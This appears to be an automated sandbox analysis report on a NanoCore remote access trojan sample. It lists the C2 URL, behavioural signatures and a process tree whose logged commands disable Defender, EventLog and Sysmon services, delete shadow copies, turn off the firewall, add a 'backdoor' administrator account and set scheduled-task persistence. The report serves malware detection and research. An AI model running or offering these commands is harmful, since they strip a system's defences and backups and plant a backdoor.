Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/08/2026, 16:46

General

  • Target
    jbbk.in_nano.exe
  • Size 64KB
  • Sample260823-vaej8aycmf
  • SHA256 ebc519b2eaf80cc51c35679c0f16800ea8d7bc0b41a533b2a45fe4884433bb25
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://jbbk.in

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://jbbk.in

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Creates a new local user account 1 TTPs 2 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 6 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Launches sc.exe 28 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1856
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4644
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5396
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4232
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3280
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:1984
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3924
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2760
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5152
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      2⤵
      • Launches sc.exe
      PID:240
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      PID:5020
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop bits
      2⤵
      • Launches sc.exe
      PID:1172
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config bits start= disabled
      2⤵
      • Launches sc.exe
      PID:4456
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop vss
      2⤵
      • Launches sc.exe
      PID:2392
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config vss start= disabled
      2⤵
      • Launches sc.exe
      PID:2420
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop swprv
      2⤵
      • Launches sc.exe
      PID:1472
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config swprv start= disabled
      2⤵
      • Launches sc.exe
      PID:3852
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop EventLog
      2⤵
      • Launches sc.exe
      PID:4960
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config EventLog start= disabled
      2⤵
      • Launches sc.exe
      PID:360
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SysmonLog
      2⤵
      • Launches sc.exe
      PID:5144
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
      2⤵
      • Launches sc.exe
      PID:4592
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop Sysmon
      2⤵
      • Launches sc.exe
      PID:1248
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config Sysmon start= disabled
      2⤵
      • Launches sc.exe
      PID:2948
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop sense
      2⤵
      • Launches sc.exe
      PID:2860
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config sense start= disabled
      2⤵
      • Launches sc.exe
      PID:1380
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:908
      • C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe
        "C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe"
        3⤵
          PID:4324
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:6044
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:4712
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:1200
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6016
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3376
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2004
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1728
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:3396
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:5004
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5660
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:5360
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4584
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          PID:4324
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2060
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
            PID:4552
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3264
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:4788
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2352
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            PID:2148
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3540
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:4652
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:3248
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4212
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:2016
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:5268
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:5832
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:3668
            • C:\Windows\system32\svchost.exe
              "C:\Windows\system32\svchost.exe"
              2⤵
                PID:4500
              • C:\Windows\SYSTEM32\netsh.exe
                "netsh" wlan show profiles
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Network Configuration Discovery: Wi-Fi Discovery
                PID:5756
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
                2⤵
                • Creates a new local user account
                • Suspicious use of WriteProcessMemory
                PID:1720
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
                  3⤵
                  • Creates a new local user account
                  PID:1176
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2992
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup administrators backdoor /add
                  3⤵
                    PID:5864
              • C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe
                C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe
                1⤵
                  PID:3228
                • C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe
                  C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe
                  1⤵
                    PID:3816

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        scr_20260823_174839.jpg

                        • Path C:\ProgramData\SysUpdate\Scr\scr_20260823_174839.jpg
                        • Size 135KB
                        • SHA256 e691f3cb378991d405f1ed40ef7e8908f881c06ee94ab2b71de16ed5809e7915
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 86KB
                        • SHA256 418b9f83cd82c024e166dc8f96440edbfb99a3715eb9c274412786c52bae3d4e
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 237B
                        • SHA256 977cc3d49699876ae2c8afba570f9f22dae77198430c5ce062e608c5a69fb207
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        temp_steal.log

                        • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                        • Size 24KB
                        • SHA256 d735baefa0136a09d78d6e455b513ec67bf3ddf33d7dfded3a2b473013eb1548
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        temp_steal.log

                        • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                        • Size 266B
                        • SHA256 005020650f0c6c0362ba303f53353b11d129d6391089fff8f7bfa2e5bea0e1e1
                        • MD5 SHA1 SHA512 TLSH

                        temp_steal.log

                        • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                        • Size 300KB
                        • SHA256 ad569a0a9804f8cd60cfc26dda96f778a8d822c41b0918a7c70ec450419bd4df
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        RANSOM_NOTE.txt

                        • Path C:\Users\Admin\Desktop\RANSOM_NOTE.txt
                        • Size 177B
                        • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                        • MD5 SHA1 SHA512 TLSH

                        READ_ME_NANOCORE.txt

                        • Path C:\Users\Admin\Desktop\READ_ME_NANOCORE.txt
                        • Size 145B
                        • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                        • MD5 SHA1 SHA512 TLSH

                        stolen_data_here.txt

                        • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                        • Size 35KB
                        • SHA256 7a05c6dc5db8d354392a8850705e67a26bf4155ef23b8e1e81e0485def920fa4
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        stolen_data_here.txt

                        • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                        • Size 418B
                        • SHA256 5b6c837962d569b02ec99036f11f208afaff932d7c7b3d1a15ddd0efa65ca14e
                        • MD5 SHA1 SHA512 TLSH

                        stolen_data_here.txt

                        • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                        • Size 300KB
                        • SHA256 ac5c1b18119e6e48105803a0edca3f9cf99bf600734327352294479aa9427730
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_2.pdf

                        • Path C:\Users\Admin\Documents\invoice_2.pdf
                        • Size 86KB
                        • SHA256 0faaffa852e2644566f2fe3c262a60c569151a894176708e4f4221c1d6bd7586
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/1132-220-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

                        memory/1132-1-0x0000000000B90000-0x0000000000BA6000-memory.dmp

                        memory/1132-2-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

                        memory/1132-6-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

                        memory/1132-5-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

                        memory/1132-196-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

                        memory/1132-3-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

                        memory/1132-4-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

                        memory/1132-0-0x00007FFA8500F000-0x00007FFA85010000-memory.dmp

                        memory/1132-215-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

                        memory/1856-9-0x000001AA4D770000-0x000001AA4D792000-memory.dmp

                        memory/1856-14-0x000001AA4DC20000-0x000001AA4DC3E000-memory.dmp

                        memory/1856-15-0x000001AA4DC40000-0x000001AA4DCF2000-memory.dmp

                        memory/1856-16-0x000001AA4DD00000-0x000001AA4DD0A000-memory.dmp

                        memory/3248-198-0x000001E84F6D0000-0x000001E84F6D1000-memory.dmp